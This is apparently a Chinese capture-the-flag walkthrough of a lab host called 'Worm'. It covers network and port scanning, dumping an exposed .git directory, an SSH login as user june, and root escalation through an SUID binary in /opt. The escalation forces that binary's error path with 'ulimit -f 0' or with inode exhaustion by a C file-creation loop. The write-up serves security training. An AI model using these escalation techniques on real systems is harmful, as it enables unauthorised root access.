┌──(root㉿kali)-[~/miaosec] └─# nmap -sn 192.168.2.0/24 Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-22 10:59 +0800 Nmap scan report for 192.168.2.1 Host is up (0.00037s latency). MAC Address: 0A:00:27:00:00:07 (Unknown) Nmap scan report for 192.168.2.2 Host is up (0.00022s latency). MAC Address: 08:00:27:36:61:3D (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.56 Host is up (0.00037s latency). MAC Address: 08:00:27:48:E0:FA (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.4 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 7.52 seconds
靶机IP:192.168.2.56
2、端口扫描
1.全端口扫描
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root㉿kali)-[~/miaosec] └─# nmap --min-rate 10000 -p- 192.168.2.56 Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-22 10:59 +0800 Nmap scan report for 192.168.2.56 Host is up (0.00022s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:48:E0:FA (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 7.21 seconds
┌──(root㉿kali)-[~/miaosec] └─# nmap --min-rate 10000 -sT -sC -sV -O -p22,80 192.168.2.56 Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-22 11:00 +0800 Nmap scan report for 192.168.2.56 Host is up (0.00090s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA) | 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA) |_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) | http-git: | 192.168.2.56:80/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... |_ Last commit message: 4 |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.62 (Debian) MAC Address: 08:00:27:48:E0:FA (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.31 seconds
3.udp扫描
1 2 3 4 5 6 7 8 9 10
┌──(root㉿kali)-[~/miaosec] └─# nmap -sU --top-ports 100 192.168.2.56 Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-22 11:00 +0800 Nmap scan report for 192.168.2.56 Host is up (0.00100s latency). All 100 scanned ports on 192.168.2.56 are in ignored states. Not shown: 60 closed udp ports (port-unreach), 40 open|filtered udp ports (no-response) MAC Address: 08:00:27:48:E0:FA (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 58.45 seconds
┌──(root㉿kali)-[~/miaosec/git-dumper/output_dir/.git] └─# git show 1e0f35c5f74fa99bfff05187488e76bc6c072db6 commit 1e0f35c5f74fa99bfff05187488e76bc6c072db6 Author: Your Name <you@example.com> Date: Tue Jan 20 09:07:02 2026 -0500
┌──(root㉿kali)-[~/Tool] └─# ssh june@192.168.2.56 ** WARNING: connection is not using a post-quantum key exchange algorithm. ** This session may be vulnerable to "store now, decrypt later" attacks. ** The server may need to be upgraded. See https://openssh.com/pq.html june@192.168.2.56's password: Linux Worm 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Jan 22 01:10:33 2026 from 192.168.2.4 june@Worm:~$ id uid=1000(june) gid=1000(june) groups=1000(june)
五、权限提升
在/opt目录下面,找到具有suid权限的文件write
1 2 3 4 5
june@Worm:/opt$ ls -la total 28 drwxr-xr-x 2 root root 4096 Jan 22 03:31 . drwxr-xr-x 18 root root 4096 Mar 18 2025 .. -rwsr-sr-x 1 root root 17104 Jan 20 09:47 write
执行该程序
1 2 3 4 5 6 7 8 9 10 11 12
june@Worm:/opt$ ./write Usage: ./write "message to write" june@Worm:/opt$ ./write "test" Message successfully written to /opt/welcome.txt june@Worm:/opt$ ls -la total 32 drwxr-xr-x 2 root root 4096 Jan 22 03:41 . drwxr-xr-x 18 root root 4096 Mar 18 2025 .. -rw-r--r-- 1 root root 4 Jan 22 03:41 welcome.txt -rwsr-sr-x 1 root root 17104 Jan 20 09:47 write june@Worm:/opt$ cat welcome.txt test
june@Worm:~$ (trap'' SIGXFSZ; ulimit -f 0; /opt/write "pwned") Failed to write to file: File too large # id uid=0(root) gid=1000(june) groups=1000(june)
方案二:Inode耗尽
1
通过写入大量小文件占满文件系统的 inode,从而导致 open 系统调用失败,触发 warning 命令的执行流程。
linux 文件系统中,文件和目录的元数据(如权限、所有者、时间戳等)存储在 inode 中,每个文件和目录都对应一个唯一的 inode。当文件系统中的 inode 被占满时,即使磁盘空间还有剩余,也无法创建新的文件或目录,从而导致 open 系统调用失败。
// 使用 creat 创建空文件(只占用 inode,不占用数据块空间) int fd = creat(filename, 0644);
if (fd < 0) { if (errno == ENOSPC) { printf("\n[停止] 提示信息:磁盘 Inode 已耗尽 (No space left on device)!\n"); printf("最终成功创建文件数: %ld\n", count); } else { perror("\n创建文件失败"); } break; }